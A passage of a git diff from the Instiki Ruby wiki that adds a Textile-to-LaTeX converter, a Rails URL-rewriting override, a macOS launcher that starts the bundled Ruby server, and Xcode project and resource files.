depth[i] ) }}\n\t" + depth.pop + end + end + if !depth.last.nil? && !tl.length.nil? && depth.last.length == tl.length + lines[line_id - 1] << '' + end + end + unless depth.last == tl + depth << tl + atts = pba( atts ) + lines[line_id] = "\t\\begin{#{ lT(tl) }}\n\t\\item #{ content }" + else + lines[line_id] = "\t\t\\item #{ content }" + end + last_line = line_id + + elsif line =~ /^\s+\S/ + last_line = line_id + elsif line_id - last_line < 2 and line =~ /^\S/ + last_line = line_id + end + if line_id - last_line > 1 or line_id == lines.length - 1 + depth.delete_if do |v| + lines[last_line] << "\n\t\\end{#{ lT( v ) }}" + end + end + end + lines.join( "\n" ) + end + end + + def lT( text ) + text =~ /\#$/ ? 'enumerate' : 'itemize' + end + + def fold( text ) + text.gsub!( /(.+)\n(?![#*\s|])/, "\\1\\\\\\\\" ) + # text.gsub!( /(.+)\n(?![#*\s|])/, "\\1#{ @fold_lines ? ' ' : '
      ' }" ) + end + + def block( text ) + pre = false + find = ['bq','h[1-6]','fn\d+'] + + regexp_cue = [] + + lines = text.split( /\n/ ) + [' '] + new_text = + lines.collect do |line| + pre = true if line =~ /<(pre|notextile)>/i + find.each do |tag| + line.gsub!( /^(#{ tag })(#{A}#{C})\.(?::(\S+))? (.*)$/ ) do |m| + tag,atts,cite,content = $~[1..4] + + atts = pba( atts ) + + if tag =~ /fn(\d+)/ + # tag = 'p'; + # atts << " id=\"fn#{ $1 }\"" + regexp_cue << [ /footnote\{#{$1}}/, "footnote{#{content}}" ] + content = "" + end + + if tag =~ /h([1-6])/ + section_type = "sub" * [$1.to_i - 1, 2].min + start = "\t\\#{section_type}section*{" + tend = "}" + end + + if tag == "bq" + cite = check_refs( cite ) + cite = " cite=\"#{ cite }\"" if cite + start = "\t\\begin{quotation}\n\\noindent {\\em "; + tend = "}\n\t\\end{quotation}"; + end + + "#{ start }#{ content }#{ tend }" + end unless pre + end + + #line.gsub!( /^(?!\t|<\/?pre|<\/?notextile|<\/?code|$| )(.*)/, "\t

      \\1

      " ) + + #line.gsub!( "
      ", "\n" ) if pre + # pre = false if line =~ /<\/(pre|notextile)>/i + + line + end.join( "\n" ) + text.replace( new_text ) + regexp_cue.each { |pair| text.gsub!(pair.first, pair.last) } + end + + def span( text ) + QTAGS.each do |tt, ht| + ttr = Regexp::quote( tt ) + text.gsub!( + + /(^|\s|\>|[#{PUNCT}{(\[]) + #{ttr} + (#{C}) + (?::(\S+?))? + ([^\s#{ttr}]+?(?:[^\n]|\n(?!\n))*?) + ([#{PUNCT}]*?) + #{ttr} + (?=[\])}]|[#{PUNCT}]+?|<|\s|$)/xm + + ) do |m| + + start,atts,cite,content,tend = $~[1..5] + atts = pba( atts ) + atts << " cite=\"#{ cite }\"" if cite + + "#{ start }{\\#{ ht } #{ content }#{ tend }}" + + end + end + end + + def links( text ) + text.gsub!( / + ([\s\[{(]|[#{PUNCT}])? # $pre + " # start + (#{C}) # $atts + ([^"]+?) # $text + \s? + (?:\(([^)]+?)\)(?="))? # $title + ": + (\S+?) # $url + (\/)? # $slash + ([^\w\/;]*?) # $post + (?=\s|$) + /x ) do |m| + pre,atts,text,title,url,slash,post = $~[1..7] + + url = check_refs( url ) + + atts = pba( atts ) + atts << " title=\"#{ title }\"" if title + atts = shelve( atts ) if atts + + "#{ pre }#{ text }#{ post }" + end + end + + def get_refs( text ) + text.gsub!( /(^|\s)\[(.+?)\]((?:http:\/\/|javascript:|ftp:\/\/|\/)\S+?)(?=\s|$)/ ) do |m| + flag, url = $~[1..2] + @urlrefs[flag] = url + end + end + + def check_refs( text ) + @urlrefs[text] || text + end + + def image( text ) + text.gsub!( / + \! # opening + (\<|\=|\>)? # optional alignment atts + (#{C}) # optional style,class atts + (?:\. )? # optional dot-space + ([^\s(!]+?) # presume this is the src + \s? # optional space + (?:\(((?:[^\(\)]|\([^\)]+\))+?)\))? # optional title + \! # closing + (?::#{ HYPERLINK })? # optional href + /x ) do |m| + algn,atts,url,title,href,href_a1,href_a2 = $~[1..7] + atts = pba( atts ) + atts << " align=\"#{ i_align( algn ) }\"" if algn + atts << " title=\"#{ title }\"" if title + atts << " alt=\"#{ title }\"" + # size = @getimagesize($url); + # if($size) $atts.= " $size[3]"; + + href = check_refs( href ) if href + url = check_refs( url ) + + out = '' + out << "" if href + out << "" + out << "#{ href_a1 }#{ href_a2 }" if href + + out + end + end + + def code( text ) + text.gsub!( / + (?:^|([\s\(\[{])) # 1 open bracket? + @ # opening + (?:\|(\w+?)\|)? # 2 language + (\S(?:[^\n]|\n(?!\n))*?) # 3 code + @ # closing + (?:$|([\]})])| + (?=[#{PUNCT}]{1,2}| + \s)) # 4 closing bracket? + /x ) do |m| + before,lang,code,after = $~[1..4] + lang = " language=\"#{ lang }\"" if lang + "#{ before }#{ code }
      #{ after }" + end + end + + def shelve( val ) + @shelf << val + " <#{ @shelf.length }>" + end + + def retrieve( text ) + @shelf.each_with_index do |r, i| + text.gsub!( " <#{ i + 1 }>", r ) + end + end + + def incoming_entities( text ) + ## turn any incoming ampersands into a dummy character for now. + ## This uses a negative lookahead for alphanumerics followed by a semicolon, + ## implying an incoming html entity, to be skipped + + text.gsub!( /&(?![#a-z0-9]+;)/i, "x%x%" ) + end + + def encode_entities( text ) + ## Convert high and low ascii to entities. + # if $-K == "UTF-8" + # encode_high( text ) + # else + text.texesc!( :NoQuotes ) + # end + end + + def fix_entities( text ) + ## de-entify any remaining angle brackets or ampersands + text.gsub!( "\&", "&" ) + text.gsub!( "\%", "%" ) + end + + def clean_white_space( text ) + text.gsub!( /\r\n/, "\n" ) + text.gsub!( /\t/, '' ) + text.gsub!( /\n{3,}/, "\n\n" ) + text.gsub!( /\n *\n/, "\n\n" ) + text.gsub!( /"$/, "\" " ) + end + + def no_textile( text ) + text.gsub!( /(^|\s)==(.*?)==(\s|$)?/, + '\1\2\3' ) + end + + def footnote_ref( text ) + text.gsub!( /\[([0-9]+?)\](\s)?/, + '\footnote{\1}\2') + #'\1\2' ) + end + + def inline( text ) + image text + links text + code text + span text + end + + def glyphs_deep( text ) + codepre = 0 + offtags = /(?:code|pre|kbd|notextile)/ + if text !~ /<.*>/ + # pgl text + footnote_ref text + else + used_offtags = {} + text.gsub!( /(?:[^<].*?(?=<[^\n]*?>|$)|<[^\n]*?>+)/m ) do |line| + tagline = ( line =~ /^<.*>/ ) + + ## matches are off if we're between ,
       etc.
      +                if tagline
      +                    if line =~ /<(#{ offtags })>/i
      +                        codepre += 1
      +                        used_offtags[$1] = true
      +                        line.texesc!( :NoQuotes ) if codepre - used_offtags.length > 0
      +                    elsif line =~ /<\/(#{ offtags })>/i
      +                        line.texesc!( :NoQuotes ) if codepre - used_offtags.length > 0
      +                        codepre -= 1 unless codepre.zero?
      +                        used_offtags = {} if codepre.zero?
      +                    elsif @filter_html or codepre > 0
      +                        line.texesc!( :NoQuotes )
      +                        ## line.gsub!( /<(\/?#{ offtags })>/, '<\1>' )
      +                    end 
      +                ## do htmlspecial if between 
      +                elsif codepre > 0
      +                    line.texesc!( :NoQuotes )
      +                    ## line.gsub!( /<(\/?#{ offtags })>/, '<\1>' )
      +                elsif not tagline
      +                    inline line
      +                    glyphs_deep line
      +                end
      +
      +                line
      +            end
      +        end
      +    end
      +
      +    def glyphs( text ) 
      +        text.gsub!( /"\z/, "\" " )
      +        ## if no html, do a simple search and replace...
      +        if text !~ /<.*>/
      +            inline text
      +        end
      +        glyphs_deep text
      +    end
      +
      +    def i_align( text )
      +        I_ALGN_VALS[text]
      +    end
      +
      +    def h_align( text ) 
      +        H_ALGN_VALS[text]
      +    end
      +
      +    def v_align( text ) 
      +        V_ALGN_VALS[text]
      +    end
      +
      +    def encode_high( text )
      +        ## mb_encode_numericentity($text, $cmap, $charset);
      +    end
      +
      +    def decode_high( text )
      +        ## mb_decode_numericentity($text, $cmap, $charset);
      +    end
      +
      +    def textile_popup_help( name, helpvar, windowW, windowH )
      +        ' ' + name + '
      ' + end + + CMAP = [ + 160, 255, 0, 0xffff, + 402, 402, 0, 0xffff, + 913, 929, 0, 0xffff, + 931, 937, 0, 0xffff, + 945, 969, 0, 0xffff, + 977, 978, 0, 0xffff, + 982, 982, 0, 0xffff, + 8226, 8226, 0, 0xffff, + 8230, 8230, 0, 0xffff, + 8242, 8243, 0, 0xffff, + 8254, 8254, 0, 0xffff, + 8260, 8260, 0, 0xffff, + 8465, 8465, 0, 0xffff, + 8472, 8472, 0, 0xffff, + 8476, 8476, 0, 0xffff, + 8482, 8482, 0, 0xffff, + 8501, 8501, 0, 0xffff, + 8592, 8596, 0, 0xffff, + 8629, 8629, 0, 0xffff, + 8656, 8660, 0, 0xffff, + 8704, 8704, 0, 0xffff, + 8706, 8707, 0, 0xffff, + 8709, 8709, 0, 0xffff, + 8711, 8713, 0, 0xffff, + 8715, 8715, 0, 0xffff, + 8719, 8719, 0, 0xffff, + 8721, 8722, 0, 0xffff, + 8727, 8727, 0, 0xffff, + 8730, 8730, 0, 0xffff, + 8733, 8734, 0, 0xffff, + 8736, 8736, 0, 0xffff, + 8743, 8747, 0, 0xffff, + 8756, 8756, 0, 0xffff, + 8764, 8764, 0, 0xffff, + 8773, 8773, 0, 0xffff, + 8776, 8776, 0, 0xffff, + 8800, 8801, 0, 0xffff, + 8804, 8805, 0, 0xffff, + 8834, 8836, 0, 0xffff, + 8838, 8839, 0, 0xffff, + 8853, 8853, 0, 0xffff, + 8855, 8855, 0, 0xffff, + 8869, 8869, 0, 0xffff, + 8901, 8901, 0, 0xffff, + 8968, 8971, 0, 0xffff, + 9001, 9002, 0, 0xffff, + 9674, 9674, 0, 0xffff, + 9824, 9824, 0, 0xffff, + 9827, 9827, 0, 0xffff, + 9829, 9830, 0, 0xffff, + 338, 339, 0, 0xffff, + 352, 353, 0, 0xffff, + 376, 376, 0, 0xffff, + 710, 710, 0, 0xffff, + 732, 732, 0, 0xffff, + 8194, 8195, 0, 0xffff, + 8201, 8201, 0, 0xffff, + 8204, 8207, 0, 0xffff, + 8211, 8212, 0, 0xffff, + 8216, 8218, 0, 0xffff, + 8218, 8218, 0, 0xffff, + 8220, 8222, 0, 0xffff, + 8224, 8225, 0, 0xffff, + 8240, 8240, 0, 0xffff, + 8249, 8250, 0, 0xffff, + 8364, 8364, 0, 0xffff + ] +end + diff --git a/libraries/url_rewriting_hack.rb b/libraries/url_rewriting_hack.rb new file mode 100755 index 00000000..72160cb7 --- /dev/null +++ b/libraries/url_rewriting_hack.rb @@ -0,0 +1,75 @@ +# Below are some hacks to Rails internal classes that implement Instiki URLs scheme. +# It is no doubt a bad practice to override internal implementation of anything. +# When Rails implements some way to do it in the framework, this code should be replaced +# with something more legitimate. + +# In Instiki URLs are mapped to the ActionPack actions, possibly performed on a particular +# web (sub-wiki) and page within that web. +# +# 1. Controller is always 'wiki' +# 2. '/name1/' maps to action 'name1', unspecified web +# Example: http://localhost/new_system/ +# 3. Special case of above, URI '/wiki/' maps to action 'index', because Rails sets this address +# when default controller name is specified as 'wiki', and an application root +# (http://localhost:2500/)is requested. +# 4. '/name1/name2/' maps to web 'name1', action 'name2' +# Example: http://localhost/mywiki/search/ +# 5. '/name1/name2/name3/' maps to web 'name1', action 'name2', +# Example: http://localhost/mywiki/show/HomePage + + +require 'dispatcher' + +# Overrides Rails DispatchServlet.parse_uri +class DispatchServlet + + def self.parse_uri(path) + ApplicationController.logger.debug "Parsing URI '#{path}'" + component = /([-_a-zA-Z0-9]+)/ + case path.sub(%r{^/(?:fcgi|mruby|cgi)/}, "/") + when '/wiki/' + { :web => nil, :controller => 'wiki', :action => 'index' } + when %r{^/#{component}/?$} + { :web => nil, :controller => 'wiki', :action => $1 } + when %r{^/#{component}/#{component}/?$} + { :web => $1, :controller => 'wiki', :action => $2 } + when %r{^/#{component}/#{component}/#{component}/?$} + { :web => $1, :controller => 'wiki', :action => $2, :id => $3 } + else + false + end + end + +end + + +require 'action_controller/url_rewriter.rb' + +# Overrides parts of AP UrlRewriter to achieve the Instiki's legacy URL scheme +module ActionController + class UrlRewriter + + VALID_OPTIONS << :web unless VALID_OPTIONS.include? :web + + private + + def resolve_aliases(options) + options[:controller_prefix] = options[:web] unless options[:web].nil? + options + end + + def controller_name(options, controller_prefix) + ensure_slash_suffix(options, :controller_prefix) + + controller_name = case options[:controller_prefix] + when String: options[:controller_prefix] + when false : "" + when nil : controller_prefix || "" + end + # In Instiki we don't need the controller name (there is only one comtroller, anyway) + # therefore the below line is commented out + # controller_name << (options[:controller] + "/") if options[:controller] + return controller_name + end + end +end diff --git a/natives/osx/desktop_launcher/AppDelegate.h b/natives/osx/desktop_launcher/AppDelegate.h new file mode 100755 index 00000000..a50769f5 --- /dev/null +++ b/natives/osx/desktop_launcher/AppDelegate.h @@ -0,0 +1,18 @@ +/* AppDelegate */ + +#import + +@interface AppDelegate : NSObject +{ + IBOutlet NSMenu* statusMenu; + NSTask* serverCommand; + int processID; + BOOL shouldOpenUntitled; + + NSNetService* service; +} +- (IBAction)about:(id)sender; +- (IBAction)goToHomepage:(id)sender; +- (IBAction)goToInstikiOrg:(id)sender; +- (IBAction)quit:(id)sender; +@end diff --git a/natives/osx/desktop_launcher/AppDelegate.mm b/natives/osx/desktop_launcher/AppDelegate.mm new file mode 100755 index 00000000..8e0435a2 --- /dev/null +++ b/natives/osx/desktop_launcher/AppDelegate.mm @@ -0,0 +1,109 @@ +#include +#include +#import "AppDelegate.h" + +int launch_ruby (char const* cmd) +{ + int pId, parentID = getpid(); + if((pId = fork()) == 0) // child + { + NSLog(@"set child (%d) to pgrp %d", getpid(), parentID); + setpgrp(0, parentID); + system(cmd); + return 0; + } + else // parent + { + NSLog(@"started child process: %d", pId); + return pId; + } +} + +@implementation AppDelegate + +- (NSString*)storageDirectory +{ + NSString* dir = [NSHomeDirectory() stringByAppendingPathComponent:@"Library/Application Support/Instiki"]; + [[NSFileManager defaultManager] createDirectoryAtPath:dir attributes:nil]; + return dir; +} + +- (void)awakeFromNib +{ + setpgrp(0, getpid()); + + if([[[[NSBundle mainBundle] infoDictionary] objectForKey:@"LSUIElement"] isEqualToString:@"1"]) + { + NSStatusBar* bar = [NSStatusBar systemStatusBar]; + NSStatusItem* item = [[bar statusItemWithLength:NSVariableStatusItemLength] retain]; + [item setTitle:@"Wiki"]; + [item setHighlightMode:YES]; + [item setMenu:statusMenu]; + } + + NSBundle* bundle = [NSBundle bundleForClass:[self class]]; + NSString* ruby = [bundle pathForResource:@"ruby" ofType:nil]; + NSString* script = [[bundle resourcePath] stringByAppendingPathComponent:@"rb_src/instiki.rb"]; + if(ruby && script) + { + NSString* cmd = [NSString stringWithFormat: + @"%@ -I '%@' -I '%@' '%@' -s --storage='%@'", + ruby, + [[bundle resourcePath] stringByAppendingPathComponent:@"lib/ruby/1.8"], + [[bundle resourcePath] stringByAppendingPathComponent:@"lib/ruby/1.8/powerpc-darwin"], + script, + [self storageDirectory] + ]; + NSLog(@"starting %@", cmd); + processID = launch_ruby([cmd UTF8String]); + } + + /* public the service using rendezvous */ + service = [[NSNetService alloc] + initWithDomain:@"" // default domain + type:@"_http._tcp." + name:[NSString stringWithFormat:@"%@'s Instiki", NSFullUserName()] + port:2500]; + [service publish]; +} + +- (void)applicationWillTerminate:(NSNotification*)aNotification +{ + [service stop]; + [service release]; + + kill(0, SIGTERM); +} + +- (IBAction)about:(id)sender +{ + [NSApp activateIgnoringOtherApps:YES]; + [NSApp orderFrontStandardAboutPanel:self]; +} + +- (IBAction)goToHomepage:(id)sender +{ + [[NSWorkspace sharedWorkspace] openURL:[NSURL URLWithString:@"http://localhost:2500/"]]; +} + +- (IBAction)goToInstikiOrg:(id)sender +{ + [[NSWorkspace sharedWorkspace] openURL:[NSURL URLWithString:@"http://www.instiki.org/"]]; +} + +- (BOOL)applicationShouldOpenUntitledFile:(NSApplication*)sender +{ + return shouldOpenUntitled ?: (shouldOpenUntitled = YES, NO); +} + +- (BOOL)applicationOpenUntitledFile:(NSApplication*)theApplication +{ + return [self goToHomepage:self], YES; +} + +- (IBAction)quit:(id)sender +{ + [NSApp terminate:self]; +} + +@end diff --git a/natives/osx/desktop_launcher/Credits.html b/natives/osx/desktop_launcher/Credits.html new file mode 100755 index 00000000..dfc9053c --- /dev/null +++ b/natives/osx/desktop_launcher/Credits.html @@ -0,0 +1,16 @@ +
      +
      Engineering:
      +
      Some people
      + +
      Human Interface Design:
      +
      Some other people
      + +
      Testing:
      +
      Hopefully not nobody
      + +
      Documentation:
      +
      Whoever
      + +
      With special thanks to:
      +
      Mom
      +
      \ No newline at end of file diff --git a/natives/osx/desktop_launcher/English.lproj/.cvsignore b/natives/osx/desktop_launcher/English.lproj/.cvsignore new file mode 100755 index 00000000..7f2202d4 --- /dev/null +++ b/natives/osx/desktop_launcher/English.lproj/.cvsignore @@ -0,0 +1,2 @@ +*~.nib + diff --git a/natives/osx/desktop_launcher/English.lproj/InfoPlist.strings b/natives/osx/desktop_launcher/English.lproj/InfoPlist.strings new file mode 100755 index 0000000000000000000000000000000000000000..9ead5aa9d514c3266b4e65a6561c8825fe84c0ca GIT binary patch literal 550 zcmbu5PfNo<5XIkF@H+&LL2M8&B3_JG1i2d#1;PsUMucrsy)6{NA?Z$r$>cw9v|5k z>rOZ7!7o8(N>KP92D;{)cqZ#E=q`9)O*N%@MXUj~_+=<1)6iBb9|xT$mURV z;{;O_Hrzgq~P-b + + + + IBDocumentLocation + 109 6 356 240 0 0 1440 878 + IBEditorPositions + + 206 + 112 300 116 87 0 0 1440 878 + 29 + 241 316 70 44 0 0 1440 878 + + IBFramework Version + 349.0 + IBOpenObjects + + 206 + 29 + + IBSystem Version + 7H63 + + diff --git a/natives/osx/desktop_launcher/English.lproj/MainMenu.nib/objects.nib b/natives/osx/desktop_launcher/English.lproj/MainMenu.nib/objects.nib new file mode 100755 index 0000000000000000000000000000000000000000..e78d3042493ce2739c2a7124d7dd40337f78021f GIT binary patch literal 1607 zcmb7E-)kdP6h7IuHZ)DQf{GvueUn8H^hx`aY?rcmXrhkqGD$AU*kqJ$Gi(q)H!59&&T;cfRxEe&>v5 z=#3Rp^{7kCCL8;Ur*fS0nW9m+QYyboD)g#JO$JXmPZy2Y0{=@FOwJvidMR5p@+&J1t71~iu|-Splyy;}XLbr*iR~9CX|fBS zc65}dViSXJI(*#9<#NE+*T*$V#5p9f@~&&%0L~|oJUVuQv3AhrpR{{Ci++WIcFxUP z5kaP4d(>LCUUuA?Ktd2}FblBu{>jM+w2*kVXvD?6MLfrME97!VA`aOLO|wR{kFFEb zSg4cAa?^B|g=q25U)9=K3B$24%wr8SBO0-T~Ph+A&o<9}HNFkxz>B(MK?uYVrC=Wv!4*Q;7GA%on z>PC=iA8V!zMmsfQu&@8!RzBnT7j;UFIA z6tYv4xJ}DO$<7NT`*C|;n=d(TmAH#8vf=pHRnx6TQhmd;Nh1O7bur)P>L|GAl|~kd zmmm%_VnQPl!(rs&+uDR``;QCf&qP&}eA*y%w1|7#-CZP0R|oTjxjx?B)g8`Gc{t&| z7mG)iu%n?9*HME>+&~+$HRo+-FwD`#k3v)lI3t89Y=6420@mQUQZ|>X3m{ySO{m4nBpt!=S7F zVDOXLWbi;eV(_i{lfiwpKd-{q)o%=bPS4Rv!P!Acj)$a`Ms^iy?^5+2B W_&~FTD+^A=F&AC4Nmd=b`~CrC`o$># literal 0 HcmV?d00001 diff --git a/natives/osx/desktop_launcher/Info.plist b/natives/osx/desktop_launcher/Info.plist new file mode 100755 index 00000000..723bf68a --- /dev/null +++ b/natives/osx/desktop_launcher/Info.plist @@ -0,0 +1,13 @@ +{ + CFBundleDevelopmentRegion = English; + CFBundleExecutable = Instiki; + CFBundleIconFile = ""; + CFBundleIdentifier = "com.nextangle.instiki"; + CFBundleInfoDictionaryVersion = "6.0"; + CFBundlePackageType = APPL; + CFBundleSignature = WIKI; + CFBundleVersion = "0.9.0"; + LSUIElement = 1; + NSMainNibFile = MainMenu; + NSPrincipalClass = NSApplication; +} \ No newline at end of file diff --git a/natives/osx/desktop_launcher/Instiki.xcode/project.pbxproj b/natives/osx/desktop_launcher/Instiki.xcode/project.pbxproj new file mode 100755 index 00000000..9b9bb292 --- /dev/null +++ b/natives/osx/desktop_launcher/Instiki.xcode/project.pbxproj @@ -0,0 +1,592 @@ +// !$*UTF8*$! +{ + archiveVersion = 1; + classes = { + }; + objectVersion = 39; + objects = { + 080E96DDFE201D6D7F000001 = { + children = ( + 174B2765065CE31400ED6208, + 174B2766065CE31400ED6208, + ); + isa = PBXGroup; + name = Classes; + refType = 4; + sourceTree = ""; + }; + 089C165CFE840E0CC02AAC07 = { + children = ( + 089C165DFE840E0CC02AAC07, + ); + isa = PBXVariantGroup; + name = InfoPlist.strings; + refType = 4; + sourceTree = ""; + }; + 089C165DFE840E0CC02AAC07 = { + fileEncoding = 10; + isa = PBXFileReference; + lastKnownFileType = text.plist.strings; + name = English; + path = English.lproj/InfoPlist.strings; + refType = 4; + sourceTree = ""; + }; +//080 +//081 +//082 +//083 +//084 +//100 +//101 +//102 +//103 +//104 + 1058C7A0FEA54F0111CA2CBB = { + children = ( + 1058C7A1FEA54F0111CA2CBB, + ); + isa = PBXGroup; + name = "Linked Frameworks"; + refType = 4; + sourceTree = ""; + }; + 1058C7A1FEA54F0111CA2CBB = { + fallbackIsa = PBXFileReference; + isa = PBXFrameworkReference; + lastKnownFileType = wrapper.framework; + name = Cocoa.framework; + path = /System/Library/Frameworks/Cocoa.framework; + refType = 0; + sourceTree = ""; + }; + 1058C7A2FEA54F0111CA2CBB = { + children = ( + 29B97325FDCFA39411CA2CEA, + 29B97324FDCFA39411CA2CEA, + ); + isa = PBXGroup; + name = "Other Frameworks"; + refType = 4; + sourceTree = ""; + }; +//100 +//101 +//102 +//103 +//104 +//170 +//171 +//172 +//173 +//174 + 174B2765065CE31400ED6208 = { + fileEncoding = 4; + isa = PBXFileReference; + lastKnownFileType = sourcecode.cpp.objcpp; + path = AppDelegate.mm; + refType = 4; + sourceTree = ""; + }; + 174B2766065CE31400ED6208 = { + fileEncoding = 4; + isa = PBXFileReference; + lastKnownFileType = sourcecode.c.h; + path = AppDelegate.h; + refType = 4; + sourceTree = ""; + }; + 174B2767065CE31400ED6208 = { + fileRef = 174B2765065CE31400ED6208; + isa = PBXBuildFile; + settings = { + }; + }; + 174B2768065CE31400ED6208 = { + fileRef = 174B2766065CE31400ED6208; + isa = PBXBuildFile; + settings = { + }; + }; + 17BF6FD9067536EB003F37D6 = { + children = ( + 63B86D2F0673A5D300807E13, + 63B86D1A0673A5B200807E13, + 63B86D100673A58400807E13, + ); + isa = PBXGroup; + name = "Instiki Source"; + refType = 4; + sourceTree = ""; + }; + 17C1C5CD065D3A3C003526E7 = { + fileEncoding = 4; + isa = PBXFileReference; + lastKnownFileType = text.html; + path = Credits.html; + refType = 4; + sourceTree = ""; + }; + 17C1C5CE065D3A3C003526E7 = { + fileRef = 17C1C5CD065D3A3C003526E7; + isa = PBXBuildFile; + settings = { + }; + }; + 17C1C6E2065D458D003526E7 = { + fileEncoding = 4; + isa = PBXFileReference; + lastKnownFileType = text.script.sh; + path = MakeDMG.sh; + refType = 4; + sourceTree = ""; + }; + 17F6C11106629574007E0BD0 = { + isa = PBXFileReference; + lastKnownFileType = "compiled.mach-o.executable"; + name = ruby; + path = /usr/local/bin/ruby; + refType = 0; + sourceTree = ""; + }; + 17F6C11206629574007E0BD0 = { + fileRef = 17F6C11106629574007E0BD0; + isa = PBXBuildFile; + settings = { + }; + }; + 17F6C113066295D0007E0BD0 = { + isa = PBXFileReference; + lastKnownFileType = folder; + name = ruby; + path = /usr/local/lib/ruby; + refType = 0; + sourceTree = ""; + }; + 17F6C3A90662960F007E0BD0 = { + buildActionMask = 2147483647; + dstPath = lib; + dstSubfolderSpec = 7; + files = ( + 17F6C3CF066296B5007E0BD0, + ); + isa = PBXCopyFilesBuildPhase; + runOnlyForDeploymentPostprocessing = 0; + }; + 17F6C3CF066296B5007E0BD0 = { + fileRef = 17F6C113066295D0007E0BD0; + isa = PBXBuildFile; + settings = { + }; + }; + 17F6C3D2066296E4007E0BD0 = { + children = ( + 17F6C11106629574007E0BD0, + 17F6C113066295D0007E0BD0, + ); + isa = PBXGroup; + name = "Ruby 1.8"; + refType = 4; + sourceTree = ""; + }; +//170 +//171 +//172 +//173 +//174 +//190 +//191 +//192 +//193 +//194 + 19C28FACFE9D520D11CA2CBB = { + children = ( + 8D1107320486CEB800E47090, + ); + isa = PBXGroup; + name = Products; + refType = 4; + sourceTree = ""; + }; +//190 +//191 +//192 +//193 +//194 +//290 +//291 +//292 +//293 +//294 + 29B97313FDCFA39411CA2CEA = { + buildSettings = { + }; + buildStyles = ( + 4A9504CCFFE6A4B311CA0CBA, + 4A9504CDFFE6A4B311CA0CBA, + ); + hasScannedForEncodings = 1; + isa = PBXProject; + mainGroup = 29B97314FDCFA39411CA2CEA; + projectDirPath = ""; + targets = ( + 8D1107260486CEB800E47090, + ); + }; + 29B97314FDCFA39411CA2CEA = { + children = ( + 080E96DDFE201D6D7F000001, + 29B97315FDCFA39411CA2CEA, + 29B97317FDCFA39411CA2CEA, + 29B97323FDCFA39411CA2CEA, + 19C28FACFE9D520D11CA2CBB, + 17C1C6E2065D458D003526E7, + ); + isa = PBXGroup; + name = Instiki; + path = ""; + refType = 4; + sourceTree = ""; + }; + 29B97315FDCFA39411CA2CEA = { + children = ( + 32CA4F630368D1EE00C91783, + 29B97316FDCFA39411CA2CEA, + ); + isa = PBXGroup; + name = "Other Sources"; + path = ""; + refType = 4; + sourceTree = ""; + }; + 29B97316FDCFA39411CA2CEA = { + fileEncoding = 30; + isa = PBXFileReference; + lastKnownFileType = sourcecode.cpp.objcpp; + path = main.mm; + refType = 4; + sourceTree = ""; + }; + 29B97317FDCFA39411CA2CEA = { + children = ( + 17BF6FD9067536EB003F37D6, + 17F6C3D2066296E4007E0BD0, + 8D1107310486CEB800E47090, + 089C165CFE840E0CC02AAC07, + 29B97318FDCFA39411CA2CEA, + 17C1C5CD065D3A3C003526E7, + ); + isa = PBXGroup; + name = Resources; + path = ""; + refType = 4; + sourceTree = ""; + }; + 29B97318FDCFA39411CA2CEA = { + children = ( + 29B97319FDCFA39411CA2CEA, + ); + isa = PBXVariantGroup; + name = MainMenu.nib; + path = ""; + refType = 4; + sourceTree = ""; + }; + 29B97319FDCFA39411CA2CEA = { + isa = PBXFileReference; + lastKnownFileType = wrapper.nib; + name = English; + path = English.lproj/MainMenu.nib; + refType = 4; + sourceTree = ""; + }; + 29B97323FDCFA39411CA2CEA = { + children = ( + 1058C7A0FEA54F0111CA2CBB, + 1058C7A2FEA54F0111CA2CBB, + ); + isa = PBXGroup; + name = Frameworks; + path = ""; + refType = 4; + sourceTree = ""; + }; + 29B97324FDCFA39411CA2CEA = { + fallbackIsa = PBXFileReference; + isa = PBXFrameworkReference; + lastKnownFileType = wrapper.framework; + name = AppKit.framework; + path = /System/Library/Frameworks/AppKit.framework; + refType = 0; + sourceTree = ""; + }; + 29B97325FDCFA39411CA2CEA = { + fallbackIsa = PBXFileReference; + isa = PBXFrameworkReference; + lastKnownFileType = wrapper.framework; + name = Foundation.framework; + path = /System/Library/Frameworks/Foundation.framework; + refType = 0; + sourceTree = ""; + }; +//290 +//291 +//292 +//293 +//294 +//320 +//321 +//322 +//323 +//324 + 32CA4F630368D1EE00C91783 = { + fileEncoding = 4; + isa = PBXFileReference; + lastKnownFileType = sourcecode.c.h; + path = Instiki_Prefix.pch; + refType = 4; + sourceTree = ""; + }; +//320 +//321 +//322 +//323 +//324 +//4A0 +//4A1 +//4A2 +//4A3 +//4A4 + 4A9504CCFFE6A4B311CA0CBA = { + buildRules = ( + ); + buildSettings = { + COPY_PHASE_STRIP = NO; + DEBUGGING_SYMBOLS = YES; + GCC_DYNAMIC_NO_PIC = NO; + GCC_ENABLE_FIX_AND_CONTINUE = YES; + GCC_GENERATE_DEBUGGING_SYMBOLS = YES; + GCC_OPTIMIZATION_LEVEL = 0; + OPTIMIZATION_CFLAGS = "-O0"; + ZERO_LINK = YES; + }; + isa = PBXBuildStyle; + name = Development; + }; + 4A9504CDFFE6A4B311CA0CBA = { + buildRules = ( + ); + buildSettings = { + COPY_PHASE_STRIP = YES; + GCC_ENABLE_FIX_AND_CONTINUE = NO; + ZERO_LINK = NO; + }; + isa = PBXBuildStyle; + name = Deployment; + }; +//4A0 +//4A1 +//4A2 +//4A3 +//4A4 +//630 +//631 +//632 +//633 +//634 + 63B86D0F0673A53100807E13 = { + buildActionMask = 2147483647; + dstPath = rb_src; + dstSubfolderSpec = 7; + files = ( + 63B86D310673A5D600807E13, + 63B86D1C0673A5B600807E13, + 63B86D120673A59100807E13, + ); + isa = PBXCopyFilesBuildPhase; + runOnlyForDeploymentPostprocessing = 0; + }; + 63B86D100673A58400807E13 = { + explicitFileType = folder; + fileEncoding = 4; + isa = PBXFileReference; + name = app; + path = /Users/duff/Source/rb_src/instiki/app; + refType = 0; + sourceTree = ""; + }; + 63B86D120673A59100807E13 = { + fileRef = 63B86D100673A58400807E13; + isa = PBXBuildFile; + settings = { + }; + }; + 63B86D1A0673A5B200807E13 = { + explicitFileType = folder; + fileEncoding = 4; + isa = PBXFileReference; + name = libraries; + path = /Users/duff/Source/rb_src/instiki/libraries; + refType = 0; + sourceTree = ""; + }; + 63B86D1C0673A5B600807E13 = { + fileRef = 63B86D1A0673A5B200807E13; + isa = PBXBuildFile; + settings = { + }; + }; + 63B86D2F0673A5D300807E13 = { + fileEncoding = 4; + isa = PBXFileReference; + lastKnownFileType = text.script.ruby; + name = instiki.rb; + path = /Users/duff/Source/rb_src/instiki/instiki.rb; + refType = 0; + sourceTree = ""; + }; + 63B86D310673A5D600807E13 = { 